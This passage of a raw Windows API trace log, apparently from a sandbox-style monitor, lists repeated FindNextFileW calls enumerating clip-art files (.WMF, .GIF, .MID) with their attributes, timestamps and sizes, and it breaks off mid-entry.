FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccaffc4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccaffc4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccaffc4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04323_.WMF", cAlternateFileName="")) returned 1 [0126.211] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc89dc9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc89dc9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccaffc4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd14, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04326_.WMF", cAlternateFileName="")) returned 1 [0126.211] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc63b1c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc63b1c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccaffc4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x10c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04332_.WMF", cAlternateFileName="")) returned 1 [0126.211] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc63b1c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc63b1c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccaffc4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc9c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04355_.WMF", cAlternateFileName="")) returned 1 [0126.211] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccaffc4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccaffc4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccd61fa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x12c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04369_.WMF", cAlternateFileName="")) returned 1 [0126.211] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccaffc4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccaffc4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccd61fa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1384, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04384_.WMF", cAlternateFileName="")) returned 1 [0126.212] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccaffc4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccaffc4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccd61fa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x138c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04385_.WMF", cAlternateFileName="")) returned 1 [0126.212] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccaffc4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccaffc4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccaffc4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1cd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BABY_01.MID", cAlternateFileName="")) returned 1 [0126.212] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccaffc4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccaffc4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccaffc4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1306, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD00116_.WMF", cAlternateFileName="")) returned 1 [0126.212] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccaffc4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccaffc4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccaffc4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6906, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD00141_.WMF", cAlternateFileName="")) returned 1 [0126.212] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccaffc4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccaffc4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccd61fa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7114, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD00146_.WMF", cAlternateFileName="")) returned 1 [0126.212] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccaffc4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccaffc4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccaffc4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2d74, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD00155_.WMF", cAlternateFileName="")) returned 1 [0126.212] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccaffc4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccaffc4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccaffc4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x57f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD00160_.WMF", cAlternateFileName="")) returned 1 [0126.212] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccaffc4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccaffc4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccaffc4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3f34, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD00173_.WMF", cAlternateFileName="")) returned 1 [0126.213] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccd61fa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccd61fa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccfc47e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4354, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD05119_.WMF", cAlternateFileName="")) returned 1 [0126.213] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccd61fa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccd61fa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccd61fa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3ef0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD06102_.WMF", cAlternateFileName="")) returned 1 [0126.213] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccd61fa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccd61fa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccd61fa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4124, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD06200_.WMF", cAlternateFileName="")) returned 1 [0126.213] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccd61fa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccd61fa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccd61fa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x687c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD07761_.WMF", cAlternateFileName="")) returned 1 [0126.213] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccd61fa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccd61fa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccd61fa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x133c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD07804_.WMF", cAlternateFileName="")) returned 1 [0126.213] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccaffc4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccaffc4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccd61fa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xfe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD07831_.WMF", cAlternateFileName="")) returned 1 [0126.213] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccd61fa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccd61fa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccd61fa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5f00, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD08758_.WMF", cAlternateFileName="")) returned 1 [0126.213] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccd61fa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccd61fa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccd61fa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x60ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD08773_.WMF", cAlternateFileName="")) returned 1 [0126.213] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccd61fa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccd61fa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccd61fa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xbb7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD08808_.WMF", cAlternateFileName="")) returned 1 [0126.214] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccd61fa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccd61fa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccd61fa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9d0e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD08868_.WMF", cAlternateFileName="")) returned 1 [0126.214] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd4897d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd4897d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcd6eb88, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xbaaa, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD09031_.WMF", cAlternateFileName="")) returned 1 [0126.214] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccfc47e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccfc47e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcd4897d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x38cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD09194_.WMF", cAlternateFileName="")) returned 1 [0126.214] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccfc47e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccfc47e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcd4897d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x504a, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD09662_.WMF", cAlternateFileName="")) returned 1 [0126.214] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccfc47e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccfc47e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcd4897d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1f1e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD09664_.WMF", cAlternateFileName="")) returned 1 [0126.214] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccfc47e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccfc47e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccfc47e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x34cb, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10890_.GIF", cAlternateFileName="")) returned 1 [0126.214] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccd61fa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccd61fa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccfc47e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4edd, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10972_.GIF", cAlternateFileName="")) returned 1 [0126.214] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccfc47e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccfc47e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcd4897d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4fe6, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD19563_.GIF", cAlternateFileName="")) returned 1 [0126.215] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccd61fa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccd61fa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcd4897d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3d75, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD19582_.GIF", cAlternateFileName="")) returned 1 [0126.215] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccd61fa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccd61fa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccfc47e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x32b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD19695_.WMF", cAlternateFileName="")) returned 1 [0126.215] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccd61fa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccd61fa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccfc47e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x25ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD19827_.WMF", cAlternateFileName="")) returned 1 [0126.215] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd6eb88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd6eb88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcd6eb88, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2244, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD19828_.WMF", cAlternateFileName="")) returned 1 [0126.215] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd6eb88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd6eb88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcd6eb88, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3896, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD19986_.WMF", cAlternateFileName="")) returned 1 [0126.215] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd6eb88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd6eb88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcd6eb88, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4780, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD19988_.WMF", cAlternateFileName="")) returned 1 [0126.215] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd6eb88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd6eb88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcd6eb88, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2b32, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD20013_.WMF", cAlternateFileName="")) returned 1 [0126.215] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd6eb88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd6eb88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcd6eb88, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x30e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00008_.WMF", cAlternateFileName="")) returned 1 [0126.215] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd4897d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd4897d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcd6eb88, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x265a, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00012_.WMF", cAlternateFileName="")) returned 1 [0126.216] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd6eb88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd6eb88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcd6eb88, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1eb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00045_.WMF", cAlternateFileName="")) returned 1 [0126.216] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd6eb88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd6eb88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcd6eb88, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00098_.WMF", cAlternateFileName="")) returned 1 [0126.216] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd4897d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd4897d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcd6eb88, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x370, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00105_.WMF", cAlternateFileName="")) returned 1 [0126.216] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd4897d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd4897d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcd6eb88, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x27a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00122_.WMF", cAlternateFileName="")) returned 1 [0126.216] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd5c704c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd5c704c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6396e0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00130_.WMF", cAlternateFileName="")) returned 1 [0126.216] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcdbb058, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcdbb058, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd5c704c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00148_.WMF", cAlternateFileName="")) returned 1 [0126.216] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1faedc30 | out: lpFindFileData=0x1faedc30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcdbb058, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcdbb058, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd5c704c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, 